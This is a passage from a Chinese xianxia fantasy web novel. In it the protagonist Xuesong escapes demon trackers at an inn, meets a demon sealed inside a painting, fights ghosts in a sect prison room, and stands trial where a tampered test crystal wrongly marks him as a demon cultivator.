他猛然间把门打开,果然看见走廊上,站着一个人,手里拿着不知道什么东西,和他对视了一眼,立刻转身就跑。
雪松一个眩晕术丢过去,正好砸在那个人的后背上,那个人往前踉跄了两步,还想冲出去,但是身体已经无力扑倒在地。
雪松走过去把人检查了一番,发现这个人穿着旅店员工的衣服,但脸是陌生的,也不知道是不是这里的员工,手里的东西,是一根试管,管子里装着的,不是别的,正是他之前的呕吐物。
也不知道,这人要拿这东西去做什么,但是,一见他就跑,想来不是什么好事,也不算砸错了。
雪松把管子里的东西销毁掉,尝试着探寻这个人脑子里的想法,隐约察觉到,他是想把管子里的东西交给魔族,用来研究月圆之毒被解之后,可能带来的影响。
原来是想找点样本,继续对月圆之毒的研究。样本已经被销毁,没有什么可担心的。只不过,不知道附近还有没有藏着其他的魔族。
雪松往周围看了看,周围安安静静的,好像什么人也没有。他正要站起身来离开,忽然感到浑身一僵,低头一看,心口多了一个红点,那东西一闪而逝,消失之后就好像根本没出现一样。
可是他的身体还是僵硬,他知道,那个红点消失并不等于,刚才的事情不存在,他对自己使用了检查术,发现他被锁定了。
十分钟之内,魔族就要向他找来了。
他立刻要走,还没迈出一步,忽然听见身后传来了尖叫,猛然一惊,一顿一顿扭过脖子,转头一看,是一个年轻姑娘,正在一楼,瞪大眼睛望着他,捂着嘴,脸色惨白,一副受到惊吓的样子。
他预感到,对面还要大喊,忍不住说:“请不要叫,我可以解释!”
但他的速度太慢了,话刚出口,对面已经大喊道:“救命啊,来人啊!谋财害命了!杀人了!有人死了!快起来呀!”
那年轻姑娘的声音又尖锐又锋利,像是刀子一般划开了夜幕,几乎所有人都被惊醒了,一二楼的灯急着看热闹似的迅速亮了。
老板衣服都没穿好,就急匆匆跑过来问:“什么什么?哪里死人了?我这里安全得很!你莫不是跑过来污蔑我?说!你是哪家店派来想打击我生意的奸细?”
那姑娘一头冲过去,抓着老板,哆哆嗦嗦指向了楼梯,迫不及待说:“就在那儿!我看见有人躺在那!一动也不动的!不是死了是什么?凶手还在呢!被我抓了个现行!刚才还想抓我呢!可怕得很!你不相信?快去看看吧!小心他跑了!那大家可就危险了!”
老板皱了皱眉,将信将疑,一边往前走,一边对姑娘呵斥道:“大惊小怪像什么样子?把人都吵醒了!也许是太黑了,你把什么东西看错,以为是人,也不用这么紧张!”
“就算我把东西看作是人,”年轻姑娘有点不服气,一边跟在老板后面往前走一边说,“我总不能把会说话的,看作是东西吧?刚才有人跟我讲话的!就是那个杀人凶手!就在尸体旁边!绝对是人!不会认错的!”
老板本来不害怕的,结果听年轻姑娘这么一说,越听越害怕,皱着眉头呵斥道:“你给我闭嘴!本来就把人吵着了,再把客人闹出来,像什么样子?也不怕丢脸!我还要开店呢!到时候客人都被吓跑了,你赔钱吗?”
年轻姑娘哼了一声,不说话了。
老板小心翼翼走到楼梯往上一看,上面果然有个人,吓了一跳,脸色顿时白了,颤颤巍巍往前走,想要试一试那个人是不是真的死了,结果看见了站在不远处默默望着他的雪松,啊的叫了一声,又吓了一跳,连忙往后退,想要拉开距离,结果忘了自己踩在楼梯上,挥舞着手要往下掉,险些摔在地板上。
幸好跟在老板后面的那个姑娘伸手扶了一把,老板才没有重重摔在地面上,但也吓得够呛,感觉心脏要从喉咙里跳出来了。
老板靠着墙,被姑娘扶着,从口袋里掏出药来吃了,硬生生吞下去之后,直着脖子重新看向楼梯上,发现雪松还没有走,又吓了一跳,几乎要被吓晕过去。
但姑娘死死拉着老板,也很害怕,一边哆嗦一边咬牙道:“不要睡过去,不要晕啊!你晕过去我怎么办?要是真杀人凶手,你这么一晕过去,我就得被连累死!我不要死啊!”
老板被掐醒了,瞪着眼睛,试图假装自己很有勇气,壮着胆子对雪松喊道:“你是什么人?大晚上不睡觉站在这干什么?”
“我是住在这儿的客人,”雪松无可奈何,没想到走廊的灯都亮了,老板居然还没认出他是谁,明明他也没遮掩他的脸,站在这也没动,毕竟现在身体僵硬,要灵活动弹实在太困难了,暂时没有危险,也就暂时不动,正好免去畏罪潜逃的骂名,“你应该见过我。”
他们岂止是见过,早就见过好几次了,至少一天一次,毕竟,他住在这里,也是要出门的,出门的时候,老板一般是在门口附近,没有不知道的道理。
老板眯着眼睛,仔细看了看,认出来了,才拍着胸脯,勉勉强强松了一口气,疑惑而不解问:“你在这里干什么呢?”
“我听见好像有人晕倒了,”雪松尽可能自然笑了笑,好像只是随便走走,回答道,“出来看看,看见有人躺在那里,吓了一跳,过去检查了一下。”
老板将信将疑点了点头,觉得这也说得过去,姑娘疑神疑鬼,低声道:“也许是骗我们的,不是总有这样的事吗?
杀人犯杀了人之后准备跑被人发现了,就假装自己并没有杀人,只是在做别的事情,之后逃跑,被人问起来,也会编各种各样的谎话,比如说衣服上的血,是不小心用错了的红色缝线什么的!”
老板立刻又被说动,皱着眉头犹豫,向雪松问:“那你检查出什么了?那个人还活着吗?我可以也上去检查一下吗?”
“还活着,”雪松垂着眼睛回答,“你当然可以也来检查。”
老板走上前去,检查了一遍,发现人确实活着,松了一口气,这个时候才仔细打量起雪松的脸,发现他和仙尊几乎一样,猛然一惊,下意识转过头去,看向了旁边的墙。
墙上挂着一幅画,那幅画没有署名,只有一树寒梅,白雪皑皑,红梅点点,相映成趣,又莫名有种鲜血溅煞之感。
这幅画是老板曾经从一个小贩手里买来的仙尊仿作。
虽然没有署名,但只要对仙尊画作有所了解的,都知道仙尊是画过这么一幅画的,画上曾经还有一句话:寒梅最堪恨。
有人猜测,仙尊提这句话,不过是应景,衬这幅画用的,也有人猜测,仙尊这句话,是心中有一个已经死去的心上人,借物喻人,那寒梅,在诗里是一个意思,在画里又是另一个意思:仙尊表面上写的是,寒梅最堪恨,实际上,写的是,恨爱人早逝。
难道,这位客人就是仙尊已死转世的心上人,见到了仙尊画作,哪怕是仿的,也感受到了仙尊当时的爱恨交织,才迟迟在这里驻足不去?
第65章
“我明白了, ”老板一脸恍然大悟,把墙上的画取了下来,递给雪松说, “你站在这儿, 是看上这幅画了是不是?
难为你看得出来!这幅画和仙尊有关,你又长得这样像, 我把这东西送给你吧!你拿去!”
雪松愣了一下, 有些诧异,低下头去, 仔细看了看手里的画,无论如何也看不出来这画和仙尊有什么关系, 只是隐隐约约觉得眼熟, 因此摇头说:“不对, 这不是仙尊的, 最多只是长得像而已。”
他还能认不出自己的画吗?
真要是他画的,他一定能从这幅画上, 感觉到他当时留下来的印记中的气息。这画里面根本没有, 所以不是他的。
老板睁大了眼睛,这个客人果然和仙尊有关系!居然认得出是真品还是仿品!如果毫无了解,怎么可能认得出来?
也对,有这样一张脸,又怎么可能对仙尊的东西毫无了解呢?一定是看出这是仿品,只是不好意思说。
毕竟是送的礼物, 又是挂在墙上的装饰品,要是说这是假的,岂不是在说老板就喜欢以次充好?对旅店的名声也不太好!
“你的眼力不错!这确实不是仙尊亲手所画,只是后人模仿仙尊的作品, 制造的仿品而已,”老板点了点头,一脸欣赏,注视着雪松说,“毕竟我只是一个小旅店的老板,没有那么多钱去买真的,更何况真迹是有数的,也没那么容易找得到,有些真迹下落不明,要找起来也是很花费时间的,我可等不了那么久。
店的墙上一直空着也不是个事,正好有个贩子路过,在卖这个,我想这东西不错,虽然不是真的,但是便宜,而且仿得很真,又没有落款,一般人认不出来,放这里正合适,就买下来了,一晃眼也过了许久了。”
老板说着,有些珍惜摸了摸那幅画的画框,画框确实有些老旧了,不过并没有灰,可见,平时还是常常在打扫。
“既然放了这么久,突然给我是不是不太好?”雪松不太明白老板为什么突然要送这个,转头往墙上看了一眼,画框取下来之后那里空了一块,颜色和其他地方都不太一样,显得不怎么和谐,之后要么重新装修,要么再找个东西挂上去挡住,可是都需要时间:“真要给我吗?要不收回去?”
老板摇了摇头,把画向他推了过去,十分坚定说:“送给你!拿去吧!”仙尊的画,哪怕只是仿品,留在仙尊心上人的手里,也远比留在这里更有意义。
他想要挂什么东西可以再买,仙尊心上人恐怕只有这么一个,过了这次,下次就遇不着了,那究竟是要画还是要送,不是很明白的事吗?
眼看着如果不收,老板恐怕不会放人走,雪松只好把画收下,点了点头向房间走去:“那我先回去了?”在这里再耽搁一会儿,魔族的人就得来了。
“去吧,去吧。”老板对他挥了挥手,不再把他当嫌疑人看。
他转身带着画离开,回到了房间里关上门,把画看了看,随便找了个地方放了,一看时间,还来得及。
他立刻检查起自己,想看看魔族究竟是通过什么东西找到他的,从衣服后边发现一点若隐若现的带着魔气的粉末。
这应该就是魔族能够找到他的原因了,多半是在那个放置药剂的房间里不小心沾上的,也有可能那个房间里全都是这种药粉,只不过,魔族之外的人看不见,也就没有办法察觉。
魔族的人就通过这种东西,来追踪进入过那个房间的人,消灭可能存在的被发现的危险。
雪松换了一身衣服,发现粉末粘在了皮肤上,干脆念了个反转咒,把粉末转移到了换下来的那身衣服上,希望借此误导利用粉末追踪他位置的魔族。
但只做这些当然还不够,因为魔族追过来,进房进来一看,只看见衣服,没看见人,肯定还要继续追。
最好是把魔族都引远一点,一时半会回不来,那他短时间内就安全了,如果顺便再制造一个陷阱,那安全的时间就更长了。
有足够的时间,就有机会考虑怎么把他们一网打尽,就算不能一网打尽,一口气端一个附近魔族的老窝也是好的。
雪松从系统仓库里翻出了之前系统给的人偶,把衣服套在了人偶的身上,顺便把印记也印了上去。
这个人偶本来就和他长得一模一样,现在又穿着他的衣服,带着印在他身上的印记,那些魔族远远一看,是绝对分不出区别的。
接下来要做的,就是让这个人偶短时间内活过来,拥有自主行动的能力,往外面跑,跑得越远越好,这样就能把魔族引开了。
雪松想了想,对着人偶使用了人偶术,人偶活了过来,从窗户翻出去不见了。雪松正打算离开,就看见魔族已经出现在楼下。
他立刻躲了起来,直到感觉魔族的气息已经从门外被人偶牵引着消失,他重新站了起来,刚刚转身,就发现背后多了一个人。
过来检查的魔族发现他还没走,眼前一亮,一边靠近一边冷笑道:“本来只打算把房间里的东西检查检查,没想到算我运气好,一来就抓着一个大的,用不着处理东西,真是踏破铁鞋无觅处,得来全不费工夫!”
看来这个魔修想要吃独食,不通知其他同伴,雪松眨了眨眼睛,确认自己的安全系数提升了。
魔修也不跟他磨叽,说完话一挥手,就丢过来一个魔气炸弹,顾名思义,这是一个用魔气组成的炸弹,非常不稳定,非常有爆炸性,威力很强,通常是魔修使用,一旦砸到谁的身上,就会立刻爆炸,一点等待的机会都没有。
雪松还没来得及动手,旁边放着的画就忽然亮了一下,下一秒,那个魔气炸弹,就被吸走了,魔修愣住了,他还从没见过这幅景象,以至于一时间没有反应。
紧接着,那幅画轰隆一声响,一个年轻男人从里面钻了出来,身上萦绕着魔气,破口大骂道:“那个该死的画家!好好的修士不当,非要画画,画画也就算了,还非要打我,打完了还要把我封印在里面,要不是今天机缘巧合得了魔气,我还不知道要在里面困多久!”
看来这也是个魔修,只不过,生前被人打败了,抽出魂魄,直接封印在画里面,以至于半生不死,熬到了今天还没被清算,刚才吞噬了那一团魔气,补充了精力,一下子又活跃起来。
旁边的魔修见此情形,觉得自己有了帮手,立刻昂头挺胸,一边笑一边说:“前辈!刚才声响大,恐怕会引起其他人的注意,此地不宜久留,不如你我合力,将这个修士带走,我为你寻一处洞府,慢慢修炼,恢复如何?”
画里出来的魔修冷笑一声:“既然知道我是前辈,那你也该知道魔修究竟是什么?”
对面魔修的脸色一变,转身就要逃跑,但是慢了一步,只见画里出来的魔修把手一挥,那个想要逃跑的魔修,就一下子被吸了过去,疯狂挣扎惨叫起来,话音未落,整个人被强行变成一团黝黑的魔气,滴落着鲜血,被另外一个魔修塞进嘴里吞掉了。
刚刚吞掉那团魔气,剩下的那个魔修脸色立刻从苍白转为红润,向雪松靠近,得意洋洋,笑嘻嘻说:“我刚才看了他的记忆,你偷吃了魔族的解药,是不是?刚才正有一群要找你的魔修从附近经过,被你耍的小把戏吸引过去了,是不是?你说,如果现在我把那些魔修召唤回来,你是不是插翅难逃?”
雪松皱了皱眉:“你想怎么样?”对面刚出画的修为,他是完全打得过的,毕竟从前再怎么了不起,如今也不过是一个刚离开封印的魔修魂魄。
但对面吞噬了一个活生生的魔修之后,修为大涨,他能不能打得过,还真不好说,如果能不打,那最好了,至少省点力气。
不过,以现在的情况来看,这件事恐怕难以善了,雪松做好了防御和反击的准备。虽然他也考虑过逃跑,但他现在显然是被堵在这儿了。
如果对面真的发消息通知追捕他的魔族,他的人偶就白费了,他还挺喜欢那东西的,暂时周旋一下再看看吧。
“把你的修为全部献给我,我饶你一命,假装,今天什么事情也没发生过,”魔修笑眯眯说,“我可是难得大发善心!要是从前遇上了你,早就一口吞了!”
雪松毫不犹豫拒绝了:“我不会给你的!”
魔修愣了一下,大怒:“果然你们都是些不识好歹的东西!早知道不该给你选择!你根本不会珍惜!你没有机会了!我要杀了你!”
话音未落,魔修抬起手,就要故伎重施,雪松十分警惕望着他,做好了防御的准备,与此同时,房间里忽然多出一个人来。
第66章
这个突然冒出来的人站在屋子正中央, 一身正气凛然的样子,冷着脸往房间一看,立刻明白了现在的情况, 毫不犹豫面向魔修, 呵斥道:“当初把你封印进画里,是希望你能静思己过, 谁知数年过去, 你这厮竟还不知悔改!当真枉费我一片劝善之心!既然你不肯回头是岸,那就拿命来吧!”
他把魔修之前说的话还给了对方:“你没有第二次机会了!”
话音未落, 魔修瞪大了眼睛,立刻转身就要逃跑, 还没跑出去多远, 刚碰到门, 整个身体忽然灰飞烟灭, 好像被一阵风吹走的粉末一样,一下子就什么都不剩了。
雪松倒吸了一口凉气。
处理了魔修之后, 那个突然冒出来的人缓缓转过身, 看向了雪松,冷着脸皱着眉,把他仔细打量了一番,神色中透露出些许茫然疑惑,喃喃道:“太像了……仙尊早该已经死了……你是谁?”
雪松张了张口,还没说话, 对面眼角余光瞥到了放在不远处的那幅画,忽然像是自己想通了什么,露出明白的神色:“你是仙尊的道侣?难怪!”
难怪能一眼认出这幅画,因为同仙尊心有灵犀, 难怪会引来魔修,因为魔修厌恶仙尊,自然也厌恶仙尊的身边人。
难怪会意外解开封印,毕竟是和仙尊有关的人,解开年代久远的区区封印不在话下。
还被刚刚离开封印的魔修针对,和仙尊有关的人,对魔修一向是大补之物,不管是从修为上还是心理上。
难怪气息似曾相识,因为和仙尊关系纠缠。
他就说仙尊当初怎么无缘无故就做起这幅画,总不可能是忽然心血来潮,见了漫天大雪中的寒梅,就立刻要画画吧?从前见了许多美景,也不见得仙尊到一个地方就画一幅画,仙尊可不是那么爱画画的人。
更何况,仙尊所住的地方,虽然有漫天飞舞的大雪,却并没有寒梅,就算是他们当时到的地方,也只是飞雪,没有梅花。
就算雪景寂寥,也有别的东西可画,比如房屋,比如道路,比如行人,比如炊烟,比如篝火,为什么偏偏是梅花?一定有缘故在!
果然今日就让他见了!这个人就是缘故吧?!如果仙尊是画里的雪,那么,这个人就是画里的梅花吧?
雪景梅花图,画的就是仙尊和他吧?仙尊画这幅画的意思,就是向所有能看懂这幅画的人广而告之,自己早有一个心上人吧?
只不过,“寒梅最堪恨”,所以仙尊是求而不得,再加上后半句,“常作去年花”,这两句诗的字面意思是,寒梅最让人遗憾的地方是,早占春意,又早早凋谢,所以常常被人认为是去年的花。
那仙尊在画上加这诗的意思就是,心上人最让他遗憾的地方是,早早占了他的心,又早早逝去,所以常常被人认为,是已经过去的,不存在的。
一切都明白了!
雪松陷入沉默。对面究竟在想什么?怎么好像什么都想通了?他的经验告诉他,现在最好不要问。
“初次见面,我也没什么能给你的,”对面想了想,摸出一瓶丹药递给他,“这是进阶丹,当你的修为抵达瓶颈或者即将突破的时候,可以吃一颗,至少提升百分之五的进阶概率,失败也不会修为倒退,或者受伤,拿去吧,就当是见面礼。”
“那就多谢了。”雪松伸手接过药瓶,感谢道。白给的东西不要白不要。
“不用客气。”对面摆了摆手,又嘱咐他:“我得先回去了,不过这里的动静可能引起魔修的注意,你自己接下来一定要小心。”
雪松点了点头:“我知道。”
“好。”对面点了点头,立刻不见了。
门被人从外面打开,长青和老板冲了进来,年轻姑娘和其他客人跟在后面,探头探脑往里张望,想要知道发生了什么,又有点担心,十分危险,不太敢往前走。
“发生了什么事?”长青看见屋子里一片狼藉,分外惊讶问。
“画里封印了一个魔修,”雪松指了指旁边的那幅画,“魔修的气息惊动了封印者,那个人过来把魔修处理掉就走了。”
老板看看桌子,看看凳子,注意到了墙上的裂缝,大惊失色:“哎呀!这里怎么烂了?我好好的房子啊!这可怎么办呢!一定要修啊!钱从哪儿来呀?”
老板说着眼圈一下子红了,擦了擦鼻子,几乎掉下眼泪来,还偷偷往旁边望了望,雪松掏出钱递给老板:“这是修屋子的钱。”
老板接过钱数了数,立刻喜笑颜开:“好嘞!我这就让人来修!一定不让屋子有什么问题!您安心住着!”
雪松点了点头,而此时,感受到这里曾经爆发过魔气的魔修们,因为没有抓到跑出去的人偶又回来了。
他们在楼下聚集,往上望了望,立刻发现雪松还在里面,察觉到自己被耍了,勃然大怒,握着拳头骂道:“今天非要他好看不可!不然他还以为我们可以随便被耍呢!搞不死他!”
其他魔修点了点头,十分赞同,他们立刻开始准备,要现在就报复雪松,调出了之前魔兽蜘蛛在药剂房间里的录像,呵呵冷笑着,找了一块石头将录像复制下来,丢在了旅店门口斜方不远处的草丛中,迅速远离了,躲起来观察情况。
倒数十秒之后,只听砰的一声,草丛中的石头炸开来,复制进去的录像猛然间出现在了半空中,几乎旅店的所有人都能从窗口看见草丛上浮出来的画面,不由自主被声音和光影吸引了注意,看了过去。
于是几乎所有人都看见了,雪松是怎样在那个看起来仿佛完全封闭的药剂房间里,一边承受药剂所带来的痛苦和僵硬,一边强行逆转经脉溢出魔气,在短时间内把自己转化为了彻头彻尾的魔修,打开了那个只有魔修才能打开的通道开关,进入其中,迅速离开的。
重点当然在于,他是怎样在那么短的时间内,把自己一下子变成魔修的,而且,待在他身边的人,把目光从窗外的画面落在他身上,上下打量了他一番,发现,他身上根本没有一丝一毫的魔气,就好像他和魔修根本一点关系都没有一样。
可是如果外面的画面是真的,他又怎么可能没有一丁点的魔气呢?难道是伪装?可是什么时候,魔修有这种天衣无缝的伪装了?难道他们又偷偷研发出了什么特别有用的法术或者丹药吗?从来没听说过!
在门外旁观的客人立刻往后退,不管雪松是不是魔修,他们都必须要离远一点,才能保证自己的安全。
毕竟,就算雪松不是魔修,现在也在漩涡之中,完全是风暴的中心,待在他身边就不可能安全,还是离远一点好。
就连刚刚从雪松那里拿了钱的老板,看了窗外的画面都愣了一下,眼皮直跳,脸色有些发白,哆嗦着嘴唇,一步一步往外挪,后背贴着墙,好像怕被偷袭一样,一边低头检查手里的钱,觉得没有问题,就塞进兜里,一边讪讪笑着说:“那个,我先去找人来修房子了,你们慢慢谈,慢慢的……”
话音未落,他摸到了门口,立刻像离弦之箭一般冲了出去,速度快得令人瞠目结舌,一下子不见了踪影,仿佛一颗从陡峭高坡上滚落下去的圆润土豆。
客人们面面相觑,一哄而散。
房间里只剩下雪松和长青,长青皱着眉头问:“你真变成魔修了?”他距离雪松最近,和雪松相处的时间也最长,很清楚,如果雪松现在还是魔修,他不可能感觉不到雪松身上冒出来的魔气,可是,外面的画面也不像是作假。
“只有那么一小会儿,”雪松垂着眼睛,回答道,“离开那个地方之后,我就不是魔修了。”
长青皱着眉头,感到了棘手:“这么说你在那个时候真变成魔修了?”
雪松点了点头。
长青开始走来走去:“那外面的画面是真的?”
雪松再次点了点头。
长青重重叹了一口气,顿在原地:“如果是这样,那也挺难办的,宗门可不允许魔修混入,哪怕只是一小会。”
“可我现在已经不是魔修了,”雪松问,“要审判魔修,至少得先确认被抓起来的这个修士是不是真的魔修吧?不然,冤枉了怎么办?”
长青眨了眨眼睛,愣了一下:“你的意思是?”
雪松看着他点了点头,面色十分平静,甚至带着一点微微的笑意,语气很是轻松:“我现在一丝一毫的魔气也没有,除非他们能现在证明我是魔修,否则,理论上,他们是不能把我当做魔修处理的。”
长青想了一想觉得可行,点了点头,把手一拍,十分高兴道:“你说的对!他们要处理魔修,必须先证明,处理的是魔修才行!”
话音未落,一阵敲门声响起。
第67章
长青走过去把门打开, 门外站着的,是宗门的执法队。
“你好,我们收到举报, ”执法队员说, “听说这里有隐藏身份的魔族,所以过来看看, 请问那个人在哪?他得跟我们走一趟。”
雪松从长青身后走出来, 对他们说:“多半说的是我了,我跟你们走就是。”
“那就请吧!”执法队员把他看了看, 点了点头,让他站在中间, 和另外一个队员一起, 把他带出了旅店。
两个执法队员把雪松从旅店带回了宗门, 因为天色已晚, 所以暂时不打算审判他,但又不能把他放走, 就在宗门里随便找了个地方, 打算安置他一下。
“这个房间还是空着的,”执法队员左右看了看,觉得这个房间可以住人,让雪松进去,待一晚上再说,“明天我们会来找你的, 你今天晚上就在这休息吧。”
另一个执法队员隐约觉得这个房间有点眼熟,但一时没想起什么,只当做是自己之前,来过这里, 没放在心上,点了点头。
雪松找了位置坐了下来,同意了:“我明白了,我今天晚上会在这休息,等你们明天过来找我。”
两个执法队员点了点头,对于他的顺从很是满意,开门出去了。
没走多远,两个执法队员就在路上碰到了队长,把今天的事情说了,队长倒吸一口凉气:“空房间?我记得这里是满的!你们从哪找的空房间?”
“就是那个呀?那个不是空的吗?”执法队员一脸迷茫,指了指身后,刚才让雪松进去的那个房间。
队长看了过去,那扇门在他眼前自动上了锁,他瞪大眼睛:“那根本不是空房间!那是曾经仙尊,专门用来关押穷凶极恶的罪犯的特制房间!”
两个执法队员都愣了一下:“那普通的罪犯关进去应该没关系吧?”
“如果有一丝丝的魔气,这个时候可能死了,”队长皱着眉头,掏出一面乾坤镜来,打算观察一下房间里的动静,“因为能被关到那个房间里的都不是什么好东西,也没那么容易死,只要进入那个房间,都会受到发自内心的折磨,恐怕不是那么轻易就能逃得了的。”
乾坤镜猛然一闪,显出了房间里的情况。
众人定睛一看,都吃了一惊,只见雪松悠哉悠哉,坐在桌前,给自己泡了一杯茶,还掏出了一只蛋糕,正在边喝茶边吃蛋糕,一点受折磨的样子都没有。
执法队员忍不住问:“我之前进去的时候没有看见茶和蛋糕,难道他在房间里受的折磨就是要把这些东西吞下去吗?还是说吃下去就会中毒什么的?为什么一点都看不出来呢?”
另一个执法队员小声道:“这无论如何也不算受折磨吧?”
执法队长大为奇怪:“不应该是这样啊,上次有一个人被不小心关进去了,出来的时候涕泗横流,四肢发软,只能在地上爬,发誓再也不进去了,完全就是受尽折磨的样子,不可能是这个情况,再看看呢?”
另外两个执法队员点了点头。
与此同时,房间里忽然刮起一阵妖风,差点把杯子刮翻了,雪松连忙按住杯子,定睛一看,房间里多出一个人来。
这个人浑身上下冒着鬼气,一看就是早就已经死了的,一点身体都没有,只剩下魂魄,勉强还在这里聚集着,生前应该是个魔族,所以鬼气之中还缠绕着魔气,乍一看十分可怕,面目也有些狰狞,身上有许多密密麻麻的痕迹,看不出究竟是受伤还是炫耀。
他出现在房间里之后,风就停了,瞪着雪松说:“那些小鬼还不知道这房间住了人吗?怎么又把人丢进来了?既然进来了,我可不和你客气!你就想坐在桌子前!我不把你打成肉酱,都算你运气好!”
话音未落,他挥了挥手,一团浓郁的魔气向着雪松冲了过来,雪松站起了身,正要反击,旁边忽然又冒出一团魔气,将刚才那团吞掉了。
雪松转过头去看,吞掉魔气的也是一只鬼,这只鬼出现之后,摸着肚子笑嘻嘻说:“上次的猎物被你杀了,这次应该归我了,你明白我的意思吗?这个是我的!你不能抢!”
第一只鬼骂道:“什么你的我的,你自己技不如人,打不过抢不赢,就想说这种话,让我把我的猎物让给你吗?你在做梦!”
第二只鬼脸色一变,呵斥道:“你这敬酒不吃吃罚酒的东西!既然说话这么难听,我也不跟你客气了!反正这只猎物我要了!你非要跟我抢,那你就抢!你看抢不抢得赢就完了!”
第一只鬼仍然十分轻视他,但听他这么一说,知道他是不会主动让开了,切了一声,立刻开始对他发起攻击。
第二只鬼就和第一只鬼打了起来,两只鬼打得如火如荼,从左边打到右边,打碎了一个摆在墙角的玻璃瓶,那瓶子里冒出一团新的黑气,又是一只鬼。
第三只鬼骂道:“你们这些大晚上不睡觉的神经病!我好不容易才睡着!你们又给我吵醒了!你们知道饿着肚子睡觉有多难吗?我跟你们拼了!”
于是第三只鬼加入混战,战斗越发扩大了,他们踢翻了一只阴影处的高脚凳子,砰的一声响,第四只鬼出现了。
虽然也被打扰,但是这只鬼怒气冲冲出现之后,一眼看见了站在旁边的雪松,眼前一亮,向雪松飘了过去:“你长得跟我的仇人一模一样!你是仙尊的转世吗?不对!我听说他已经死得不能再死了,所以你肯定不是他——”
第四只鬼摸着下巴,绕着雪松转圈,若有所思:“只是恰巧和他长得像吗?没察觉出来有什么血缘关系呢……太棒了!”
话音未落,第四只鬼显出凶相,浑身滴滴答答冒血,瞪着眼睛,伸着长指甲,向着雪松扑了过去,声音尖锐喊:“我早就想搞死他了!只可惜他死在外面!既然你来了,你做他的替代品吧!”
旁边三只鬼打得不可开交,听见这样的话,也不由得顿了顿,一起转过头来,直勾勾望着这边。
雪松面不改色,往后退了两步,脚下忽然亮了起来,原来整个房间都布置了一个巨大的阵法,而他踩着的位置,正好是驱动那个阵法保护自身的部分。
一瞬间的事,阵法抽取了房间里的能量,维护了雪松,以至于雪松看起来就像是站在一个圆润发光的白蛋壳里。
第四只鬼扑到了白蛋壳上,啊的一声惨叫,立刻像是被灼烧了一样,浑身颤抖着跌落在地上,皱着眉头,涕泗横流,面目狰狞,来回翻滚,很快,整个人就像是被太阳蒸发了的水一样消失了。
旁边的三只鬼倒吸一口凉气,躲在墙角瑟瑟发抖。
这是什么厉害人物?居然能一下子灭掉一只鬼?这么风轻云淡?那只鬼刚才是魂飞魄散了吧?一瞬间的魂飞魄散?那得多强的力量?果然长得像仙尊的人就没有善茬!现在后悔还来得及吗?
在房间外拿着乾坤镜的队长和队员们看见这样的情况,也忍不住大吃一惊。
本来还想着敌人越来越多,他们要不要进去帮帮忙,毕竟他们这里只负责把人关起来,不负责把人弄死,真要是把人弄死了,就显得,有什么见不得人的事情似的了。
但看这样的情况,他们根本用不着进去,因为雪松根本用不着帮忙,他一个人就可以轻而易举解决那一群,就像之前的仙尊一样。
说起来,房间里的阵法是仙尊布置的,别人最多知道阵法究竟长什么样,怎么可能知道阵法的哪个位置有什么用处,而恰好站在那个位置上,利用阵法的力量来击退敌人,保护自己呢?
除非,他早就知道房间里有这个阵法,而且知道阵法的每一个细节,才能在运用的时候这样得心应手。
这么说,他一定认识仙尊,而且关系匪浅,以至于,仙尊不仅把自己在这个房间里布置了阵法的事情,告诉了他,甚至担心他以后会被关进房间里,未雨绸缪,直接把操控阵法的办法也告诉了他,他才如此淡定?
最重要的是,房间里的阵法是仙尊布置的,通常驱动那个阵法,最容易的办法是使用仙尊的力量,而雪松能够这么容易使用那个阵法,他的力量和仙尊同出一源?
队长和队员面面相觑,倒吸一口凉气。
他们该不会是,把仙尊道侣关进去了吧?否则,什么样的人,会和仙尊的力量同出一源?
不能再拖了!仙尊的道侣一定不可能是魔族的人!他们必须立刻把人放出来!
队长立刻把乾坤镜收了起来,冲向了房间,打开了门,队员气喘吁吁跟了上来,站在房间两边,目光灼灼看着雪松。
“之前是我们招待不周,”队长弯着腰,对雪松恭恭敬敬说,“不好意思,请跟我们换个房间吧!”
第68章
“那好吧。”雪松点了点头, 向门口走去。
次日一早,审判立刻开始。
执法队队长和队员把雪松带到了审判场,宗主坐在最上方, 长老们坐在两边, 人还挺齐,看来今天都有空。
宗主看了看被收集来的卷宗, 咳嗽两声, 向雪松问:“你可知罪?”
雪松问:“不知道有什么罪?”
“有人说,你擅自逆转经脉转化为魔修, ”宗主问,“你承认吗?”
“我承认。”雪松回答。
“那你是不是作为魔修打入宗门内部的卧底?”宗主面色严肃又问。
“不是, ”雪松面色如常回答, “我现在不是魔修。”
“你有什么证据?”宗主挑了挑眉。
“魔修会散发魔气, 但是我并没有, 我仍然是法修,不信你们可以测。”雪松耸了耸肩。
宗主虽然觉得他这样随意, 有些不把别人放在眼里, 但如果事情真如他所说,他现在确实不是魔修,那这个态度倒也正常。
想了想,宗主把手一挥:“那就现场测一次吧!”
很快有人拿来一个测试水晶球,放在了雪松面前的桌上,雪松把手放在水晶球上, 水晶球骤然爆发出一阵黑气,紧接着,水晶球破裂,魔气从里面外泄, 整个审判场的人都闻到了,不由得齐齐面色一变。
宗主皱着眉头问:“你还说你不是魔修?这不是魔修是什么?只有魔修在接触测试水晶球的时候,水晶球才会有这样的反应!你就是板上钉钉的魔修!好了,现在已经测过了,没有什么可说的!”
宗主深吸一口气,带着被愚弄的愤怒和对于仙尊道侣居然也是魔修的可惜,义正言辞道:“我审判你,三日后问斩!”
毕竟众所周知,魔修一旦被抓住,通常都是杀无赦,所以这也不算重判,虽然也不算轻。
雪松有一点惊讶,正要开口,突然听见旁边的人喊道:“不对!那个水晶球被魔族施了法术!不管是谁用,都会呈现出是魔族在测试的情况,不能算数!证据在这里!”
众人的目光都被吸引过去,定睛一看,原来是执法队长从人群中抓住了一个,脖子上闪现魔族印记的人,这个人显然是被魔族控制,提前暗中在水晶球上施了法术,所以才让水晶球呈现出那种状况。
人们窃窃私语起来。
“如果这个人真的被魔族控制了,岂不是说刚才那个水晶球真的有问题?”
“如果被魔族控制的人在这里,那刚才测试的那个人究竟是不是魔族?”
“虽然从来没有见过成为魔修的人还能重新变回法修的,但,如果他那么信誓旦旦,普通的水晶球应该测不出来吧?要不再试一次?”
人们面面相觑,最后看向宗主。
宗主让大家安静,考虑了一番说:“既然之前的水晶球有问题,那就当堂再测一次!第二个水晶球总不会也有问题!”
雪松还没开口,执法队员抢先一步说:“请宗主恕我们管理不周之罪!既然宗门中已经有一个被魔族控制的人,恐怕保管在仓库中的水晶球,也有可能被魔族控制这个人施加了法术,导致不能正常使用!请给我们三天时间,用于检查仓库中的水晶球!”
雪松若有所思盯着,隐隐约约觉得,事情好像不太对,不是指水晶球把他认为是魔修这件事。
